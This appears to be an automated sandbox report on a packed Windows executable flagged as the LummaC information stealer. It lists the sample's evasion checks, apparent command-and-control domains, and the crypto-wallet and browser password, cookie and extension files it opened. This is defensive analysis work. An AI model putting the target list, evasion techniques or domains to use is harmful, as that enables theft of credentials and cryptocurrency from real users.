Source: file.exe, 00000000.00000003.1676472111.00000000009E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/ziRL
Source: file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.1676781567.00000000038CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: file.exe, 00000000.00000003.1696211713.000000000399C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1696211713.000000000399C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1676781567.00000000038CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1676781567.00000000038CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1696211713.000000000399C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000003.1696211713.000000000399C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1696211713.000000000399C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.1696211713.000000000399C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1696211713.000000000399C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49737 version: TLS 1.2

System Summary

Detected VMProtect packer

Source: file.exe

Static PE information: .vmp0 and .vmp1 section names

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D02010	0_2_00D02010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF04B7	0_2_00CF04B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD4740	0_2_00CD4740
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF0CA0	0_2_00CF0CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD1000	0_2_00CD1000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD6030	0_2_00CD6030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD52F0	0_2_00CD52F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD3260	0_2_00CD3260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D045F0	0_2_00D045F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD65F0	0_2_00CD65F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDF690	0_2_00CDF690
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D097D0	0_2_00D097D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD1700	0_2_00CD1700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF58A2	0_2_00CF58A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3387F	0_2_00D3387F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF59D2	0_2_00CF59D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF594F	0_2_00CF594F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D09AF0	0_2_00D09AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CECAEC	0_2_00CECAEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D01A70	0_2_00D01A70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD7CB0	0_2_00CD7CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD3D70	0_2_00CD3D70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD2E70	0_2_00CD2E70

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00CD8700 appears 50 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00CD8D30 appears 168 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00D2F648 appears 34 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1677287917.0000000003875000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1676866829.00000000038A4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static file information: File size 5745152 > 1048576

Source: file.exe

Static PE information: Raw size of .vmp1 is bigger than: 0x100000 < 0x57a000

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp1

Source: file.exe	Static PE information: section name: .vmp0
Source: file.exe	Static PE information: section name: .vmp1

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1B036 push esi; ret	0_2_00D1B046
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1A203 push esi; ret	0_2_00D1A204
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1A353 push ebp; ret	0_2_00D1A354
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1A315 push esi; ret	0_2_00D1A31E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D194FA push esi; ret	0_2_00D194FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1B5C8 push esi; ret	0_2_00D1B5E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1C560 push esi; ret	0_2_00D1C576
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1C6E0 push edi; ret	0_2_00D1C6F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D19690 push ebp; ret	0_2_00D196E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2F68D push ecx; ret	0_2_00D2F6A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D197D0 push edi; ret	0_2_00D1980C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1A7D5 push esi; ret	0_2_00D1A7D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1A7DD push esi; ret	0_2_00D1A7DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1A74B push esi; ret	0_2_00D1A758
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1986D push edi; ret	0_2_00D1986E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1986F push esi; ret	0_2_00D19870
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1A82F push esi; ret	0_2_00D1A836
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1BAA2 push ebp; ret	0_2_00D1BAB2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1AA3B push ebp; ret	0_2_00D1AA3C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1AA27 push ebp; ret	0_2_00D24576
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1BA29 push edi; ret	0_2_00D1BA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D19B94 push esi; ret	0_2_00D19B95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D19B77 push edi; ret	0_2_00D19B91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1AC95 push edi; ret	0_2_00D1AC96
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1ACA0 push edi; ret	0_2_00D1ACB1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2DFD0 push ecx; ret	0_2_00D2DFE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1AFF8 push esi; ret	0_2_00D1B046

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 7328 base: 750005 value: E9 8B 2F 7B 76			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 7328 base: 76F02F90 value: E9 7A D0 84 89			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, file.exe, 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmp

Binary or memory string: ZSBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1584A90 second address: 1584AB6 instructions: 0x00000000 rdtsc 0x00000002 cbw 0x00000004 dec cl 0x00000006 mov dx, 68D2h 0x0000000a sbb edx, eax 0x0000000c xor cl, 00000057h 0x0000000f sub dl, FFFFFFE0h 0x00000012 ror ax, FFEFh 0x00000016 neg cl 0x00000018 xchg ah, dl 0x0000001a inc cl 0x0000001c adc dl, FFFFFFCEh 0x0000001f inc edx 0x00000020 not eax 0x00000022 xor bl, cl 0x00000024 push edi 0x00000025 push esi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F748CE second address: DEFACA instructions: 0x00000000 rdtsc 0x00000002 bsr ax, bx 0x00000006 shr dh, 0000006Bh 0x00000009 movzx edx, byte ptr [edi] 0x0000000c movzx eax, dx 0x0000000f cmovnp eax, ecx 0x00000012 sal ah, FFFFFFE7h 0x00000015 xor dl, bl 0x00000017 cwde 0x00000018 not dl 0x0000001a mov eax, ebp 0x0000001c ror eax, FFFFFFD4h 0x0000001f not al 0x00000021 ror dl, 1 0x00000023 inc dl 0x00000025 sbb ah, al 0x00000027 mov ah, dl 0x00000029 xor dl, FFFFFFB8h 0x0000002c xor bl, dl 0x0000002e sub eax, 39955627h 0x00000033 ror eax, cl 0x00000035 mov byte ptr [esp+edx], cl 0x00000038 rcl ax, 001Eh 0x0000003c sub edi, 00000004h 0x00000042 rol ax, FFA4h 0x00000046 cmp ah, 00000024h 0x00000049 bt eax, edi 0x0000004c mov eax, dword ptr [edi] 0x0000004e stc 0x0000004f xor eax, ebx 0x00000051 cmp bp, 66F3h 0x00000056 add eax, 6B9E6E30h 0x0000005b ror eax, 02h 0x0000005e cmp esi, 37965EF5h 0x00000064 test ebp, edx 0x00000066 jmp 00007F0ABCD616DBh 0x0000006b bswap eax 0x0000006d stc 0x0000006e clc 0x0000006f cmp ebp, ebp 0x00000071 lea eax, dword ptr [eax+1D8F433Fh] 0x00000077 xor ebx, eax 0x00000079 add esi, eax 0x0000007b jmp 00007F0ABCBE92DCh 0x00000080 push esi 0x00000081 ret 0x00000082 lea edi, dword ptr [edi-00000001h] 0x00000088 not dh 0x0000008a rdtsc

Source: C:\Users\user\Desktop\file.exe TID: 7348	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7412	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: file.exe, 00000000.00000003.1747790604.00000000009B4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1748688566.000000000095E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1748878765.00000000009BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1676279859.00000000009BD000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D03CC0 LdrInitializeThunk,

0_2_00D03CC0

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: demonstationfukewko.shop
Source: file.exe, 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: liabilitynighstjsko.shop
Source: file.exe, 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: alcojoldwograpciw.shop
Source: file.exe, 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: incredibleextedwj.shop
Source: file.exe, 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: shortsvelventysjo.shop
Source: file.exe, 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: shatterbreathepsw.shop
Source: file.exe, 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: tolerateilusidjukl.shop
Source: file.exe, 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: productivelookewr.shop
Source: file.exe, 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: greetclassifytalk.shop

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000002.1748878765.00000000009A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1728022211.0000000000A21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747790604.00000000009A1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1749033743.00000000009E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000002.1749033743.0000000000A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000002.1749033743.00000000009E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000002.1749033743.00000000009E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.1749033743.0000000000A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000002.1748447726.0000000000578000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: Wallets/BinanceC:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000000.00000002.1749033743.00000000009E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000000.00000002.1748688566.000000000095E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000002.1749033743.0000000000A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
